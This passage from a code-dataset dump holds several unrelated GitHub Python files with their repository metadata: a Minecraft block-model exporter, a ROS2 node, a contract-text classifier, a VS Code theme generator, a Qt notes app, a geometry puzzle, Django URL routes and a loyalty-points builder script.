0.5\n yd2 = 0.0\n zd2 = 0.5\n xd3 = 0.0\n yd3 = 0.5\n zd3 = 0.5\n xd4 = 0.5\n yd4 = 0.5\n zd4 = 0.5\n \n if side == SIDE_BACK:\n xd1 = 0.0\n yd1 = 0.0\n zd1 = 0.0\n xd2 = 0.5\n yd2 = 0.0\n zd2 = 0.0\n xd3 = 0.0\n yd3 = 0.5\n zd3 = 0.0\n xd4 = 0.5\n yd4 = 0.5\n zd4 = 0.0\n\n self._render_face_quadrant(block, x, y, z, xd1, yd1, zd1, side, d)\n self._render_face_quadrant(block, x, y, z, xd2, yd2, zd2, side, d)\n self._render_face_quadrant(block, x, y, z, xd3, yd3, zd3, side, d)\n self._render_face_quadrant(block, x, y, z, xd4, yd4, zd4, side, d)\n\n def _renderface(self, block, x, y, z, side):\n \n if side == SIDE_TOP:\n other_block = self._get_block(x, y+1, z)\n elif side == SIDE_BOTTOM:\n other_block = self._get_block(x, y-1, z)\n elif side == SIDE_RIGHT:\n other_block = self._get_block(x+1, y, z)\n elif side == SIDE_LEFT:\n other_block = self._get_block(x-1, y, z)\n elif side == SIDE_FRONT:\n other_block = self._get_block(x, y, z+1)\n elif side == SIDE_BACK:\n other_block = self._get_block(x, y, z-1)\n else:\n raise Exception(\"Unrecognised side ID\")\n\n if block.block_type == \"cube\":\n if other_block is None:\n self._add_face(self._get_face_corners(x, y, z, side), block, side)\n else:\n if other_block.block_type != \"cube\":\n self._render_partial_face(block, x, y, z, side)\n else:\n self._render_partial_face(block, x, y, z, side)\n \n \n def _get_face_corners(self, x, y, z, side):\n if side == SIDE_TOP:\n return (x, y + 1, z), (x, y + 1, z + 1), (x + 1, y + 1, z + 1), (x + 1, y + 1, z)\n if side == SIDE_BOTTOM:\n return (x + 1, y, z), (x + 1, y, z + 1), (x, y, z + 1), (x, y, z)\n if side == SIDE_RIGHT:\n return (x + 1, y + 1, z + 1), (x + 1, y, z + 1), (x + 1, y, z), (x + 1, y + 1, z)\n if side == SIDE_LEFT:\n return (x, y + 1, z), (x, y, z), (x, y, z + 1), (x, y + 1, z + 1)\n if side == SIDE_FRONT:\n return (x, y + 1, z + 1), (x, y, z + 1), (x + 1, y, z + 1), (x + 1, y + 1, z + 1)\n if side == SIDE_BACK:\n return (x + 1, y + 1, z), (x + 1, y, z), (x, y, z), (x, y + 1, z)\n \n def _get_block(self, x, y, z):\n return self.block_mapper.get_block(x, y, z, self.reader)\n \n def _render_block(self, block, x, y, z):\n block_volume = self.stl_scale ** 3\n if block.block_type == \"cube\":\n self.volume += block_volume\n for side in ALL_SIDES:\n self._renderface(block, x, y, z, side)\n else:\n if block.block_type == \"halfslab\":\n self.volume += block_volume/2.0\n if block.block_type == \"stair\":\n self.volume += (block_volume * 3.0)/4.0\n self._render_block_sub_blocks(block, x, y, z)\n\n def _get_quadrant_corners_quads(self, x, y, z, xd, yd, zd, side, d):\n xx = x + xd\n yy = y + yd\n zz = z + zd\n #top\n if side == SIDE_TOP:\n A = (xx, yy + d, zz)\n B = (xx, yy + d, zz + d)\n C = (xx + d, yy + d, zz + d)\n D = (xx + d, yy + d, zz)\n quad_x = int(xd * 2.0)\n quad_y = 1 - int(zd * 2.0)\n #bottom\n if side == SIDE_BOTTOM:\n A = (xx + d, yy, zz)\n B = (xx + d, yy, zz + d)\n C = (xx, yy, zz + d)\n D = (xx, yy, zz)\n quad_x = 1 - int(xd * 2.0)\n quad_y = 1 - int(zd * 2.0)\n #right\n if side == SIDE_RIGHT:\n A = (xx + d, yy + d, zz + d)\n B = (xx + d, yy, zz + d)\n C = (xx + d, yy, zz)\n D = (xx + d, yy + d, zz)\n quad_x = 1 - int(zd * 2.0)\n quad_y = int(yd * 2.0)\n #left\n if side == SIDE_LEFT:\n A = (xx, yy + d, zz)\n B = (xx, yy, zz)\n C = (xx, yy, zz + d)\n D = (xx, yy + d, zz + d)\n quad_x = int(zd * 2.0)\n quad_y = int(yd * 2.0)\n #front\n if side == SIDE_FRONT:\n A = (xx, yy + d, zz + d)\n B = (xx, yy, zz + d)\n C = (xx + d, yy, zz + d)\n D = (xx + d, yy + d, zz + d)\n quad_x = int(xd * 2.0)\n quad_y = int(yd * 2.0)\n #back\n if side == SIDE_BACK:\n A = (xx + d, yy + d, zz)\n B = (xx + d, yy, zz)\n C = (xx, yy, zz)\n D = (xx, yy + d, zz)\n quad_x = 1 - int(xd * 2.0)\n quad_y = int(yd * 2.0)\n\n return (A, B, C, D), quad_x, quad_y\n \n\n def _render_face_quadrant(self, block, x, y, z, xd, yd, zd, side, d):\n if not self._is_blank_quadrant(x, y, z, xd, yd, zd, side):\n return\n corners, quad_x, quad_y = self._get_quadrant_corners_quads(x, y, z, xd, yd, zd, side, d)\n self._add_face(corners, block, side, quad_x, quad_y)\n\n def _render_block_sub_blocks(self, block, x, y, z):\n d = 0.5\n for xd in (0.0, d):\n for yd in (0.0, d):\n for zd in (0.0, d):\n if self.block_mapper.is_blank(x, y, z, xd, yd, zd, self.reader):\n continue\n for side in ALL_SIDES:\n self._render_face_quadrant(block, x, y, z, xd, yd, zd, side, d)\n\n def _check_min_max(self, points):\n for p in points:\n x, y, z = p\n if self.max_x is None or x > self.max_x:\n self.max_x = x\n if self.min_x is None or x < self.min_x:\n self.min_x = x\n if self.max_y is None or y > self.max_y:\n self.max_y = y\n if self.min_y is None or y < self.min_y:\n self.min_y = y\n if self.max_z is None or z > self.max_z:\n self.max_z = z\n if self.min_z is None or z < self.min_z:\n self.min_z = z\n\n\n def _add_face(self, corners, block, side, quad_x=None, quad_y=None):\n\n scaled_stl = [((c[0] + self.xoffset) * self.stl_scale, -(c[2] + self.zoffset) * self.stl_scale, c[1] * self.stl_scale) for c in corners]\n # self.surface += poly_area(scaled_stl)\n self._check_min_max(scaled_stl)\n\n scaled_obj = [((c[0] + self.xoffset) * self.scale, c[1] * self.scale, (c[2] + self.zoffset) * self.scale) for c in corners] \n tex_x, tex_y = self.block_mapper.get_tex_uv(block, side)\n self._add_corners(scaled_obj, tex_x, tex_y, quad_x, quad_y)\n self.stl_faces.append(scaled_stl)\n \n def _process(self):\n for x in range(self.width):\n for y in range(self.height):\n for z in range(self.depth):\n block = self._get_block(x, y, z)\n if block is not None:\n self._render_block(block, x, y, z)\n\n def _make_stl(self):\n output = BytesIO()\n stlwriter = Binary_STL_Writer(output)\n stlwriter.add_faces(self.stl_faces)\n stlwriter.close()\n stl = output.getvalue()\n output.close()\n self.stl = stl\n\n def _get_ordered_vertices(self):\n ordered_vertices = [None] * len(self.vertices)\n for k, v in self.vertices.items():\n ordered_vertices[v] = k\n return ordered_vertices\n\n def _as_x3d_faces(self):\n attrs = {}\n ordered_vertices = self._get_ordered_vertices()\n vertex_lines = [\"%.5g %.5g %.5g\" % v for v in ordered_vertices]\n coord_index = [\"%i %i %i %i %i %i %i %i\" % (f[0] - 1, f[2] - 1, f[4] - 1, -1, f[0] - 1, f[4] - 1, f[6] - 1, -1) for f in self.faces]\n tex_coord_index = [\"%i %i %i %i %i %i %i %i\" % (f[1] - 1, f[3] - 1, f[5] - 1, -1, f[1] - 1, f[5] - 1, f[7] - 1, -1) for f in self.faces]\n attrs[\"coordinate_point\"] = \" \".join(vertex_lines)\n attrs[\"coord_index\"] = \" \".join(coord_index)\n attrs[\"tex_coord_index\"] = \" \".join(tex_coord_index)\n attrs[\"timestamp\"] = self.timestamp\n template = jinja_env.get_template(\"x3d_faces.xml\")\n as_x3d = template.render(attrs)\n return str(as_x3d)\n \n def _as_x3d_triangles(self):\n attrs = {}\n ov = self._get_ordered_vertices()\n tx = self.texUvMappingsArray\n\n # each face is a pair of triangles\n index = [str(i) for i in range(len(self.faces) * 6)]\n \n all_the_coord_points = []\n all_the_tex_coord_points = []\n \n for f in self.faces:\n all_the_coord_points.append(ov[f[0] - 1])\n all_the_coord_points.append(ov[f[2] - 1])\n all_the_coord_points.append(ov[f[4] - 1])\n all_the_coord_points.append(ov[f[0] - 1])\n all_the_coord_points.append(ov[f[4] - 1])\n all_the_coord_points.append(ov[f[6] - 1])\n \n all_the_tex_coord_points.append(tx[f[1] - 1])\n all_the_tex_coord_points.append(tx[f[3] - 1])\n all_the_tex_coord_points.append(tx[f[5] - 1])\n all_the_tex_coord_points.append(tx[f[1] - 1])\n all_the_tex_coord_points.append(tx[f[5] - 1])\n all_the_tex_coord_points.append(tx[f[7] - 1])\n \n coord_points = [\"%.5g %.5g %.5g\" % cp for cp in all_the_coord_points]\n tex_coord_points = [\"%.5g %.5g\" % tp for tp in all_the_tex_coord_points]\n\n attrs[\"coordinate_point\"] = \" \".join(coord_points)\n attrs[\"index\"] = \" \".join(index)\n attrs[\"tex_coord_point\"] = \" \".join(tex_coord_points)\n attrs[\"timestamp\"] = self.timestamp\n template = jinja_env.get_template(\"x3d_triangles.xml\")\n as_x3d = template.render(attrs)\n return str(as_x3d)\n\n def _as_csv(self):\n lines = []\n for z in range(self.depth + 1):\n blocks = []\n for x in range(self.width + 1):\n for y in range(self.height + 1):\n block_id, block_data = self.reader.get(x, self.height - y, z)\n if block_id != 0:\n blocks.append(\"%s:%s\" % (block_id, block_data))\n continue\n blocks.append(\",\")\n lines.append(\"\".join(blocks))\n lines.append(\"\\n\")\n \n return \"\".join(lines)\n \n def _as_schematic(self):\n nbtfile = nbt.NBTFile()\n nbtfile.name = \"Schematic\"\n nbtfile.tags.append(nbt.TAG_Short(name=\"Height\", value=self.height))\n nbtfile.tags.append(nbt.TAG_Short(name=\"Width\", value=self.width))\n nbtfile.tags.append(nbt.TAG_Short(name=\"Length\", value=self.depth))\n nbtfile.tags.append(nbt.TAG_Int(name=\"WEOffsetX\", value=-1))\n nbtfile.tags.append(nbt.TAG_Int(name=\"WEOffsetY\", value=0))\n nbtfile.tags.append(nbt.TAG_Int(name=\"WEOffsetZ\", value=-1))\n nbtfile.tags.append(nbt.TAG_Int(name=\"WEOriginX\", value=0))\n nbtfile.tags.append(nbt.TAG_Int(name=\"WEOriginY\", value=0))\n nbtfile.tags.append(nbt.TAG_Int(name=\"WEOriginZ\", value=0))\n \n # YZX ordering\n \n data = bytearray()\n blocks = bytearray()\n \n for y in range(self.height):\n for z in range(self.depth):\n for x in range(self.width):\n block_id, block_data = self.reader.get(x, y, z)\n blocks.append(block_id)\n data.append(block_data)\n \n blocks_tag = nbt.TAG_Byte_Array()\n blocks_tag.value = blocks\n\n data_tag = nbt.TAG_Byte_Array()\n data_tag.value = data\n \n nbtfile[\"Blocks\"] = blocks_tag\n nbtfile[\"Data\"] = data_tag\n \n nbtfile.tags.append(nbt.TAG_String(name=\"Materials\", value=u\"Alpha\"))\n nbtfile[\"Entities\"] = nbt.TAG_List(type=nbt.TAG_Compound)\n nbtfile[\"TileEntities\"] = nbt.TAG_List(type=nbt.TAG_Compound)\n \n output = BytesIO()\n nbtfile.write_file(fileobj=output)\n as_nbt = output.getvalue()\n output.close()\n return as_nbt\n\n def _as_collada(self):\n \n attrs = {}\n ordered_vertices = self._get_ordered_vertices()\n vertix_lines = [\"%.5g %.5g %.5g\" % v for v in ordered_vertices]\n zeroindexfaces = [[x-1 for x in f] for f in self.faces]\n face_lines = [\"%i %i %i %i %i %i %i %i\" % tuple(f) for f in zeroindexfaces]\n attrs[\"obj_vertex_source_array\"] = \" \".join(vertix_lines)\n attrs[\"obj_vertex_source_array_accessor_count\"] = str(len(ordered_vertices))\n attrs[\"obj_vertex_source_array_count\"] = str(len(ordered_vertices) * 3)\n attrs[\"obj_uv_source_array\"] = \" \".join([\"%.5g %.5g\" % uv for uv in self.texUvMappingsArray])\n attrs[\"polylist_p\"] = \" \".join(face_lines)\n attrs[\"vcount\"] = \" \".join(\"4\" * len(self.faces))\n attrs[\"polylist_count\"] = str(len(self.faces))\n attrs[\"timestamp\"] = self.timestamp\n template = jinja_env.get_template(\"collada2.xml\")\n as_col = template.render(attrs)\n return str(as_col)\n\n def _as_obj(self):\n \n ordered_vertices = self._get_ordered_vertices()\n vertix_lines = [\"v %.5f %.5f %.5f\" % v for v in ordered_vertices]\n face_lines = [\"f %i/%i %i/%i %i/%i %i/%i\" % tuple(f) for f in self.faces]\n \n objstr = \"#A printcraft model\\n\"\n objstr += \"mtllib printcraft.mtl\\n\"\n objstr += \"o printcraft-model\\n\"\n objstr += \"\\n\".join(vertix_lines)\n objstr += \"\\n\"\n objstr += self.uv_mappings\n objstr += \"\\ng blocks\\n\"\n objstr += \"usemtl minecraftblocks\\n\"\n objstr += \"s off\\n\"\n objstr += \"\\n\".join(face_lines)\n return objstr\n\n def _add_corners(self, corners, tex_x, tex_y, quad_x=None, quad_y=None):\n faceinfo = []\n for counter, corner in enumerate(corners):\n i = self.vertices.get(corner)\n if i is None:\n i = len(self.vertices)\n self.vertices[corner] = i\n faceinfo.append(i + 1)\n faceinfo.append(self._get_vt_index(counter, tex_x, tex_y, quad_x, quad_y))\n self.faces.append(faceinfo)\n \n def _get_vt_index(self, corner, blockx, blocky, quad_x=None, quad_y=None):\n\n x = blockx * 2\n y = blocky * 2\n if quad_x:\n x += quad_x\n if quad_y:\n y += quad_y\n if quad_x is None:\n if corner == 0:\n return ((y + 2) * 33) + x + 1\n if corner == 1:\n return (y * 33) + x + 1\n if corner == 2:\n return (y * 33) + x + 3\n if corner == 3:\n return ((y + 2) * 33) + x + 3\n elif quad_x == 0.5:\n if corner == 0:\n return ((y + 1) * 33) + x + 1\n if corner == 1:\n return (y * 33) + x + 1\n if corner == 2:\n return (y * 33) + x + 2\n if corner == 3:\n return ((y + 1) * 33) + x + 2\n else:\n if corner == 0:\n return ((y + 1) * 33) + x + 1\n if corner == 1:\n return (y * 33) + x + 1\n if corner == 2:\n return (y * 33) + x + 2\n if corner == 3:\n return ((y + 1) * 33) + x + 2 \n\n def _get_content_width(self):\n return self.max_x - self.min_x\n\n def _get_content_height(self):\n return self.max_y - self.min_y\n\n def _get_content_depth(self):\n return self.max_z - self.min_z\n\n\n ## file out helpers\n\n def save_as_stl(self, file_path):\n write_stl(file_path, self.stl)\n\n def save_as_csv(self, file_path):\n write_csv(file_path, self.csv)\n\n def save_as_x3d(self, file_path):\n write_x3d(file_path, self.x3d)\n\n def save_as_collada(self, file_path):\n write_collada(file_path, self.collada)\n\n def save_as_obj(self, file_path):\n write_obj(file_path, self.obj)\n\n obj = property(_as_obj)\n x3d = property(_as_x3d_triangles)\n x3d_triangles = property(_as_x3d_triangles)\n x3d_faces = property(_as_x3d_faces)\n collada = property(_as_collada)\n csv = property(_as_csv)\n schematic = property(_as_schematic)\n content_width = property(_get_content_width)\n content_height = property(_get_content_height)\n content_depth = property(_get_content_depth)\n","repo_name":"paulharter/blockmodel","sub_path":"src/blockmodel/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":21963,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"52"} +{"seq_id":"24989673664","text":"import rclpy\nfrom rclpy.node import Node\n\n\nclass ScoringNode(Node):\n\n def __init__(self):\n super().__init__('scoring_node')\n self.get_logger().info('scoring node started')\n \n\n\ndef main(args=None):\n rclpy.init(args=args)\n\n node = ScoringNode()\n\n rclpy.spin(node)\n\n # Destroy the node explicitly\n # (optional - otherwise it will be done automatically\n # when the garbage collector destroys the node object)\n node.destroy_node()\n rclpy.shutdown()\n\nif __name__ == '__main__':\n main()\n","repo_name":"philippreinig/introduction_to_robotics","sub_path":"src/state_estimation/state_estimation/scoring.py","file_name":"scoring.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71241181925","text":"import re\nimport os\nimport pandas as pd \nimport pandas as pd \nimport numpy as np \nfrom tika import parser\nfrom utils.process_data import preprocess\nfrom sklearn.externals import joblib\n\nmodel = joblib.load('./data/svc_prediction_model.sav')\n\nclass Read():\n\n def __init__(self,path='./process_agreement/', file=None):\n self.path = path\n self.file = [f for f in os.listdir('./process_agreement/') if f.endswith('.pdf')][0]\n df = self.full_text\n print(f'your document has the following categories')\n for x in df()['label'].unique():\n print(x)\n\n def full_text(self, model=model):\n '''\n \n\n '''\n process_val = {'stopwords':'english',\n 'custom_sw':'aaa',\n 'stemmer':'yes',\n 'ngrams':'bigrams'}\n \n regex = '\\n\\n(?=\\u2028|[A-Z-0-9])' #removed one \\n\n\n\n clean_file = re.split(regex, \n [parser.from_file(self.path + self.file)]\n [0]['content'].strip()\n )\n \n \n prep = lambda i: preprocess(pd.Series(i),**process_val).apply(lambda x:', '.join(map(str, x)))\n \n preprocessed = prep(clean_file)\n\n labels = list(model.predict(preprocessed))\n\n text = [i[:300] for i in clean_file]\n\n return pd.DataFrame({'label':labels, 'text': text})\n\n def section(self, label):\n if os.path.exists(self.path + self.file) == True:\n df = self.full_text\n section = df()[df()['label']==label]\n\n # print('the labels in this agreement are...')\n # for x in df()['label'].unique():\n # print(x)\n # print()\n\n for i,p in section.iterrows():\n print(p['text'])\n\n else:\n print('no file in directory')\n\n\n\n\n\n\n ","repo_name":"cullinap/contract_reader","sub_path":"utils/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12745406812","text":"import pystache\nimport json\nimport os\n\n# inputs\ncolors = json.loads(open('colors/colors.json', 'r').read())\nschemes_dir = 'schemes/'\ntemplate = open('templates/b-default-vscode.mustache', 'r').read()\ntheme_folder = 'themes/'\ntheme_prefix = 'b-theme-'\n\n\ndef delete_files(folder_path): \n files = os.listdir(folder_path)\n\n # iterate over the files and delete them\n for file_name in files:\n file_path = os.path.join(folder_path, file_name)\n try:\n if os.path.isfile(file_path):\n os.remove(file_path)\n except Exception as e:\n print(f\"Failed to delete {file_path}. Reason: {e}\")\n\n\ndef process_schemes(folder_path, render_theme):\n # cleaning up folder\n delete_files(theme_folder)\n\n schemes_files = [f for f in os.listdir(folder_path) if f.endswith('.json')]\n\n themes_list = [] # that’s for populating for package.json\n\n # rendering themes\n for scheme_file in schemes_files:\n scheme_filepath = os.path.join(folder_path, scheme_file)\n with open(scheme_filepath) as f:\n scheme_json = json.load(f)\n\n themes_list.append({\n \"label\" : f\"{scheme_json['name']}\",\n \"uiTheme\" : f\"vs-{scheme_json['type']}\",\n \"path\" : f\"./{theme_folder + theme_prefix + scheme_file}\"\n })\n\n render_theme(scheme_json, scheme_file)\n\n # updating package.json\n with open('package.json', 'r') as f:\n package_data = json.load(f)\n\n package_data[\"contributes\"][\"themes\"] = themes_list\n\n with open('package.json', 'w') as f:\n json.dump(package_data, f, indent=2)\n\n\n\ndef render_theme(scheme, filename):\n partial_render = pystache.render(template, scheme) \n theme_filename = theme_folder + theme_prefix + filename\n with open(theme_filename, 'w') as f:\n f.write(pystache.render(partial_render, colors))\n print('Theme generated: ' + theme_filename)\n f.close()\n\n\nprocess_schemes(schemes_dir, render_theme)","repo_name":"surfinzap/b-theme-vscode","sub_path":"theme-generator.py","file_name":"theme-generator.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"22052446528","text":"\"\"\"apropos_qt5.py\r\n\r\npresentation layer and most of the application logic, Qt5 version\r\n\"\"\"\r\nimport pathlib\r\nfrom apropos import en\r\nfrom apropos import nl\r\nfrom apropos import gui\r\nfrom apropos import dml\r\n\r\nlanguages = {}\r\nlanguages.update(en.lang)\r\nlanguages.update(nl.lang)\r\n\r\nHERE = pathlib.Path(__file__).parent # os.path.dirname(__file__)\r\n\r\n\r\ndef apropos(fname='', title=''):\r\n \"\"\"starts the application by calling the MainFrame class\r\n \"\"\"\r\n frm = Apropos(fname=fname, title=title)\r\n frm.gui.go() # sys.exit(app.exec_())\r\n\r\n\r\nclass Apropos:\r\n \"\"\"main class voor de applicatie\r\n \"\"\"\r\n def __init__(self, fname='', title=''):\r\n if not title:\r\n title = \"A Propos\"\r\n self.gui = gui.AproposGui(self, title=title)\r\n self.apofile = dml.get_apofile(fname) # shared.get_apofile(fname)\r\n iconame = str(HERE / \"apropos.ico\")\r\n self.gui.set_appicon(iconame)\r\n self.gui.init_trayicon(iconame, tooltip=\"Click to revive Apropos\")\r\n self.gui.setup_tabwidget(change_page=self.page_changed, close_page=self.closetab)\r\n self.gui.setup_shortcuts({'reload': (('Ctrl+R',), self.load_data),\r\n 'newtab': (('Ctrl+N',), self.newtab),\r\n 'close': (('Ctrl+W',), self.closetab),\r\n 'hide': (('Ctrl+H',), self.hide_app),\r\n 'save': (('Ctrl+S',), self.save_data),\r\n 'quit': (('Ctrl+Q', 'Escape'), self.gui.close),\r\n 'language': (('Ctrl+L',), self.choose_language),\r\n 'next': (('Alt+Right',), self.goto_next),\r\n 'prev': (('Alt+Left',), self.goto_previous),\r\n 'help': (('F1',), self.helppage),\r\n 'title': (('F2',), self.asktitle),\r\n 'settings': (('Alt+P',), self.options)})\r\n self.initapp()\r\n\r\n def page_changed(self, event=None):\r\n \"\"\"pagina aanpassen nadat een andere gekozen is\r\n \"\"\"\r\n self.current = self.gui.get_current_page() # event)\r\n self.gui.set_focus_to_page() # (event)\r\n\r\n def load_data(self, *args):\r\n \"\"\"get data and setup notebook\r\n \"\"\"\r\n self.gui.clear_all()\r\n self.initapp()\r\n self.confirm(\"NotifyOnLoad\", \"load_text\")\r\n\r\n def hide_app(self, *args):\r\n \"\"\"minimize to tray\r\n \"\"\"\r\n self.confirm(\"AskBeforeHide\", \"hide_text\")\r\n self.gui.hide_app()\r\n\r\n def save_data(self, *args):\r\n \"\"\"update persistent storage\r\n \"\"\"\r\n self.afsl()\r\n self.confirm(\"NotifyOnSave\", \"save_text\")\r\n\r\n def initapp(self):\r\n \"\"\"initialiseer de applicatie\r\n \"\"\"\r\n self.opts, self.apodata = dml.load_notes(self.apofile)\r\n if self.apodata:\r\n for i, x in self.apodata.items():\r\n self.newtab(titel=x[0], note=x[1])\r\n self.current = self.opts[\"ActiveTab\"]\r\n self.gui.set_current_page(self.current)\r\n else:\r\n self.newtab()\r\n self.current = 0\r\n\r\n def newtab(self, event=None, titel=None, note=None):\r\n \"\"\"initialiseer een nieuwe tab\r\n \"\"\"\r\n nieuw = self.gui.get_page_count() + 1\r\n if not titel:\r\n titel = str(nieuw)\r\n self.gui.new_page(nieuw, titel, note)\r\n\r\n def goto_previous(self, *args):\r\n \"\"\"navigeer naar de voorgaande tab indien aanwezig\r\n \"\"\"\r\n self.gui.set_previous_page()\r\n\r\n def goto_next(self, *args):\r\n \"\"\"navigeer naar de volgende tab indien aanwezig\r\n \"\"\"\r\n self.gui.set_next_page()\r\n\r\n def closetab(self, event=None, pagetodelete=None):\r\n \"\"\"sluit de aangegeven tab\r\n\r\n bij de laatste tab: alleen leegmaken en titel generiek maken\r\n \"\"\"\r\n if not pagetodelete:\r\n pagetodelete = self.current\r\n aant = self.gui.get_page_count()\r\n if aant == 1:\r\n self.gui.clear_last_page()\r\n self.afsl()\r\n self.gui.close()\r\n else:\r\n self.gui.delete_page(pagetodelete)\r\n\r\n def revive(self, event=None):\r\n \"\"\"herleef het scherm vanuit de systray\r\n \"\"\"\r\n self.gui.reshow_app(event)\r\n\r\n def afsl(self):\r\n \"\"\"applicatiedata opslaan (voorafgaand aan afsluiten)\r\n \"\"\"\r\n apodata = {}\r\n self.opts[\"ActiveTab\"] = self.gui.get_current_page()\r\n for i in range(self.gui.get_page_count()):\r\n title = self.gui.get_page_title(i)\r\n text = self.gui.get_page_text(i)\r\n apodata[i + 1] = (title, text)\r\n dml.save_notes(self.apofile, self.opts, apodata)\r\n\r\n def helppage(self, *args):\r\n \"\"\"vertoon de hulp pagina met keyboard shortcuts\r\n \"\"\"\r\n self.gui.meld(languages[self.opts[\"language\"]][\"info\"])\r\n\r\n def confirm(self, setting, textitem):\r\n \"\"\"Vraag om bevestiging (wordt afgehandeld in de dialoog)\r\n \"\"\"\r\n if self.opts[setting]:\r\n self.gui.show_dialog(gui.CheckDialog,\r\n {'message': languages[self.opts[\"language\"]][textitem],\r\n 'option': setting,\r\n 'caption': languages[self.opts[\"language\"]][\"show_text\"]})\r\n # else:\r\n # shared.log(languages[self.opts[\"language\"]][textitem])\r\n\r\n def asktitle(self, *args):\r\n \"\"\"toon dialoog om tab titel in te vullen/aan te passen en verwerk antwoord\r\n \"\"\"\r\n text, ok = self.gui.get_text(prompt=languages[self.opts[\"language\"]][\"ask_title\"],\r\n initial=self.gui.get_page_title(self.current))\r\n if ok:\r\n self.gui.set_page_title(self.current, text)\r\n\r\n def choose_language(self, *args):\r\n \"\"\"toon dialoog om taal te kiezen en verwerk antwoord\r\n \"\"\"\r\n data = [(x, y[\"language\"]) for x, y in languages.items()]\r\n cur_lng = 0\r\n for idx, lang in enumerate([x[0] for x in data]):\r\n if lang == self.opts[\"language\"]:\r\n cur_lng = idx\r\n break\r\n item, ok = self.gui.get_item(prompt=languages[self.opts[\"language\"]][\"ask_language\"],\r\n itemlist=[x[1] for x in data],\r\n initial=cur_lng)\r\n if ok:\r\n for idx, lang in enumerate([x[1] for x in data]):\r\n if lang == item:\r\n self.opts[\"language\"] = data[idx][0]\r\n break\r\n\r\n def options(self, event=None):\r\n \"\"\"check settings to show various messages\"\"\"\r\n self.gui.show_dialog(gui.OptionsDialog, {'sett2text': {\r\n 'AskBeforeHide': languages[self.opts[\"language\"]]['ask_hide'],\r\n 'NotifyOnLoad': languages[self.opts[\"language\"]]['notify_load'],\r\n 'NotifyOnSave': languages[self.opts[\"language\"]]['notify_save']}})\r\n","repo_name":"albertvisser/a-propos","sub_path":"apropos/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12134919380","text":"import math\n\n\ndef windmill(S):\n if len(S) == 1:\n return 0\n if len(S) == 2:\n return 2\n ang = 0\n px = 0\n pa = px\n resp = 0\n while(ang < math.pi*2):\n print('-'*30)\n angulos = []\n Sn = [(x-S[px][0], y-S[px][1]) for (x, y) in S]\n print(Sn)\n for idx, p in enumerate(Sn):\n if(idx != px):\n Dx = p[0]-Sn[px][0]\n Dy = p[1]-Sn[px][1]\n if(Dy == 0):\n b = math.pi / 2\n else:\n b = math.atan(Dx/Dy)\n if (p[0] > 0 and p[1] < 0) or (p[0] < 0 and p[1] > 0):\n b = math.pi + b\n print(idx, b, math.degrees(b))\n b = b - (ang if ang < math.pi else ang - math.pi)\n if idx != pa and b > 0:\n angulos.append((idx, b))\n elif idx != pa and b < 0:\n angulos.append((idx, math.pi + b))\n print('-'*30)\n print(angulos)\n print('-'*30)\n atual = min(angulos, key=lambda angulos:angulos[1])\n pa = px\n px = atual[0]\n ang += atual[1]\n resp += 1\n print(px, math.degrees(ang))\n return resp - 1\n\nS = [(0, 0), (2, 1), (-1, 2), (-1, -2)]\n#S = [(0, 0), (2, 1), (2, -1), (-2, -1), (-2, 1)]\n#S = [(0,0), (1,0)]\n#S = [(0, 0), (0, 1), (1, 1), (1, 0), (1, -1), (0, -1), (-1, -1), (-1, 0), (-1, 1)]\n\nprint(windmill(S))\n","repo_name":"hgf777-br/CodeWarsPython","sub_path":"windmill.py","file_name":"windmill.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20885871362","text":"from django.conf.urls import patterns, include, url\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nimport tripnsale.settings as settings\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'tripnsale.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url('^admin/', include(admin.site.urls)),\n url('^', include('main.urls')),\n url('^offer/', include('offer.urls')),\n url('^user/', include('user.urls')),\n url('^guarant/', include('guarant.urls')),\n url('^info/', include('infos.urls')),\n url('^gallery/', include('gallery.urls')),\n)\n\nif settings.DEBUG:\n urlpatterns = urlpatterns + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"boomeer/tripnsale","sub_path":"tripnsale/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13335687141","text":"from __future__ import annotations\r\n\r\nimport argparse\r\nimport requests\r\nfrom abc import ABC, abstractmethod\r\nfrom typing import Any\r\nimport json\r\n\r\nimport sys\r\n\r\nsys.path.append('../business_logic')\r\nfrom Director import Director\r\nfrom ConcreteBuilder1 import ConcreteBuilder1\r\nfrom ConcreteBuilder2 import ConcreteBuilder2\r\nfrom ConcreteBuilder3 import ConcreteBuilder3\r\nfrom ConcreteBuilder4 import ConcreteBuilder4\r\nfrom ConcreteBuilder5 import ConcreteBuilder5\r\n\r\n# Load the configuration from the JSON file\r\nwith open(\"../routes.json\", \"r\") as f:\r\n config = json.load(f)\r\n\r\ndef switchShop(builder, shop, defaultPoint):\r\n if shop == \"Cafe1\":\r\n builder.produce_part_a()\r\n if shop == \"Cafe2\":\r\n builder.produce_part_b()\r\n if shop == \"Cafe3\":\r\n builder.produce_part_c()\r\n if shop == \"Cafe4\":\r\n builder.produce_part_d()\r\n if shop == \"Cafe5\":\r\n builder.produce_part_a()\r\n builder.produce_part_a()\r\n\r\n return builder.product.computePointsScheme(defaultPoint)\r\n\r\n\r\ndef switchBuilder(region, director):\r\n if region == \"IRE\":\r\n director.builder = ConcreteBuilder1()\r\n if region == \"FRA\":\r\n director.builder = ConcreteBuilder2()\r\n if region == \"IND\":\r\n director.builder = ConcreteBuilder3()\r\n if region == \"ROM\":\r\n director.builder = ConcreteBuilder4()\r\n if 